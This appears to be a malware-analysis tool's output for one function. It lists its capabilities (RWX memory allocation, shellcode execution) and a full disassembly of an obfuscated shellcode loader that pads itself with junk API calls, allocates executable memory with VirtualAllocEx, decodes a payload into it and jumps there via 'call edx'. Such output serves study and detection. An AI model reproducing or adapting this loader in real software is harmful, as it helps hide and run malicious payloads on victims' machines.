Function at 0x10001460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x100054c1
mov edi, dword [eax]
mov cx, 0xb6
mov dword [eax], edi
mov dword [eax + 4], eax
mov esi, dword [0x10005530]
mov ecx, 0x10005481
mov eax, dword [ecx]
mov ax, 8
sub eax, eax
mov dword [ecx + 8], edx
mov dword [ecx + 4], eax
call sub.KERNEL32.dll_GetOEMCP
mov eax, 0x10005481
mov ecx, dword [eax]
add edx, esi
mov ecx, dword [eax + 0x10]
sbb dword [eax + 0xc], edx
mov dword [eax + 0x18], esi
mov edx, 0x100054b5
mov eax, dword [edx + 0x14]
mov eax, 0xec
mov dword [edx], edi
mov edi, dword [edx]
cmp eax, 1
je 0x100014c5
mov eax, dword [edx + 4]
mov edi, 8
mov dword [edx], esi
mov edi, 0xf1
call sub.user32.dll_GetActiveWindow
mov ecx, 0x1000547d
mov eax, dword [ecx + 0xc]
mov esi, 0x53
mov eax, dword [ecx + 0xc]
mov eax, 0x40
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x18], ecx
call fcn.10001000
mov ecx, dword [0x10005618]
sub ecx, ecx
mov dword [0x10005740], edi
mov dword [0x10005760], edi
mov dword [0x1000556c], eax
call fcn.10001a00
mov dword [0x1000547c], eax
push dword [0x10005424]
call sub.user32.dll_GetWindowTextLengthA
mov esi, dword [0x1000538c]
sub edi, eax
mov dword [0x10005370], ecx
mov dword [0x10005468], esi
push 0x10005420
call sub.user32.dll_CharNextA
mov esi, dword [0x1000576c]
mov di, 0x20
mov ecx, dword [0x10005438]
mov dword [0x1000539c], eax
mov dword [0x100053c0], eax
mov edx, dword [0x10005370]
mov dword [0x100053b8], edx
call sub.KERNEL32.dll_GetOEMCP
mov eax, dword [0x10005370]
mov dx, 0x10
mov dword [0x10005468], eax
mov ecx, dword [0x100053f8]
mov eax, dword [sym.imp.shell32.dll_Shell_NotifyIconW]
mov dword [0x10005708], eax
push 0x74
push 0
call sub.user32.dll_LoadBitmapA
mov eax, dword [0x10005594]
mov di, 0xff
mov eax, dword [0x10005524]
add eax, eax
mov dword [0x100054f8], ecx
mov eax, dword [0x100053dc]
mov edx, dword [0x10005558]
push edx
call sub.user32.dll_GetWindowTextLengthA
mov eax, dword [0x10005380]
mov si, 0x40
mov dword [0x10005564], edi
mov dword [0x10005370], eax
mov dword [0x10005544], eax
push 0x100056ec
call sub.KERNEL32.dll_lstrlenA
mov esi, 0x100054c5
mov eax, dword [esi + 8]
add edx, eax
add eax, ecx
mov dword [esi + 0x18], eax
mov dword [0x10005700], eax
mov dword [0x10005450], eax
push 0x150d
push 0
call sub.user32.dll_LoadBitmapA
mov esi, dword [0x10005604]
sub eax, esi
add esi, esi
mov dword [0x100053b4], eax
mov dword [0x1000547c], ecx
mov edx, dword [0x10005708]
sbb ecx, dword [0x10005398]
add ecx, edi
mov edi, 0x8c
mov dword [0x100056e0], ecx
mov dword [0x1000554c], edi
add edi, dword [0x10005684]
sub edi, eax
mov eax, 0x10
mov dword [0x10005734], edi
mov dword [0x100053d8], eax
mov eax, dword [0x1000537c]
inc edx
mov esi, dword [edx]
cmp esi, dword [0x10029763]
jne 0x1000162b
mov ecx, dword [0x10005370]
add ecx, edi
mov di, 4
mov dword [0x10005370], ecx
xor dword [0x10005370], 0xff00ffff
mov dword [0x10005610], edx
push eax
call sub.user32.dll_IsCharLowerA
mov edi, dword [0x100053d0]
add eax, eax
mov dword [0x10005518], ecx
mov eax, dword [0x10005400]
mov dword [0x100053dc], eax
push 0x10005480
call sub.user32.dll_CharNextA
mov eax, dword [0x1000546c]
sub eax, eax
add edx, esi
mov dword [0x100054a4], eax
or dword [0x10005630], eax
mov dword [0x1000553c], eax
mov eax, 0xd
push eax
call sub.user32.dll_IsCharLowerA
mov edi, 0x10005479
mov edx, dword [edi]
mov cx, 0x80
mov ecx, dword [edi + 0x10]
mov esi, 0x20
cmp eax, dword [edi]
je 0x100016f1
mov dword [0x1000562c], eax
mov edx, dword [0x10005758]
mov eax, dword [edi + 8]
mov ax, 1
mov dword [edi + 4], eax
mov ax, 2
mov dword [0x10005724], edx
push 0x10005494
call sub.user32.dll_CharNextA
mov ecx, 0x10005499
mov eax, dword [ecx + 8]
mov ax, 0x9b
mov edi, dword [ecx + 0x14]
xor edx, eax
mov dword [ecx + 8], eax
mov dword [ecx], edi
mov edi, dword [0x10005610]
dec edi
mov ecx, dword [edi]
mov dword [0x10005708], ecx
mov eax, 0x100054a1
sub ecx, dword [eax + 0x14]
mov edx, 0x6b
mov edi, dword [eax]
mov dword [eax], eax
mov dword [eax], ecx
call sub.KERNEL32.dll_GetOEMCP
mov edx, 0x10005475
mov edi, dword [edx]
and eax, esi
mov dword [edx + 0x10], ecx
push 0xc0
push 0
call sub.user32.dll_LoadBitmapA
mov esi, dword [0x100053bc]
add eax, eax
mov eax, dword [0x10005768]
mov dword [0x10005388], eax
call sub.KERNEL32.dll_GetOEMCP
mov edi, dword [0x1000564c]
mov eax, 8
mov dword [0x100055e0], edx
mov dword [0x10005758], edx
push 0x40
push 0x1000
push 0x25000
push 0
push 0xffffffffffffffff
call sub.KERNEL32.dll_VirtualAllocEx
mov dword [0x10005610], eax
mov edi, 0x10005485
mov eax, dword [edi]
add eax, edx
mov ecx, dword [edi + 0x14]
mov dword [edi + 0xc], edi
mov dword [edi + 0x18], edi
mov dword [0x100054bc], eax
call sub.user32.dll_GetActiveWindow
mov edx, 0x1000549d
mov eax, dword [edx + 4]
add eax, eax
mov dword [edx], eax
cmp esi, 1
jb 0x100017d8
mov eax, dword [edx + 0x10]
sub edi, eax
mov dword [edx + 8], eax
mov eax, dword [0x10005410]
mov dword [0x1000566c], eax
mov esi, dword [0x10005610]
mov eax, 0x29a
mov edx, dword [0x10005708]
add edx, 0x10f216a2
mov edi, 0x100054a9
mov ecx, dword [edi]
mov ecx, 0x10
add ecx, edi
mov dword [edi], ecx
mov dword [edi + 8], ecx
mov dword [0x100053f0], ecx
mov ecx, dword [edx]
add ecx, 0xe7ace588
mov dword [esi], ecx
mov edi, dword [0x100055dc]
mov di, 0xef
add ecx, edi
mov dword [0x10005724], edi
mov edi, dword [0x100053ac]
sub edx, 0xfffffffc
sub esi, 0xfffffffc
mov ecx, 0x100054b1
mov edi, dword [ecx + 8]
sub edi, ecx
mov dword [ecx], edi
mov dword [ecx], edi
mov ecx, dword [0x10005388]
add eax, 0xffffffff
cmp eax, 0
jne 0x1000180d
mov ecx, 0x10005475
mov esi, dword [ecx + 0x18]
mov eax, 4
mov dword [ecx + 0x10], eax
push dword [0x100054c8]
call sub.user32.dll_GetWindowTextLengthA
mov edx, dword [0x100053ec]
mov ax, 0x66
add edi, edx
mov dword [0x10005410], eax
mov dword [0x100053f8], edx
mov edx, dword [0x10005610]
call edx
ret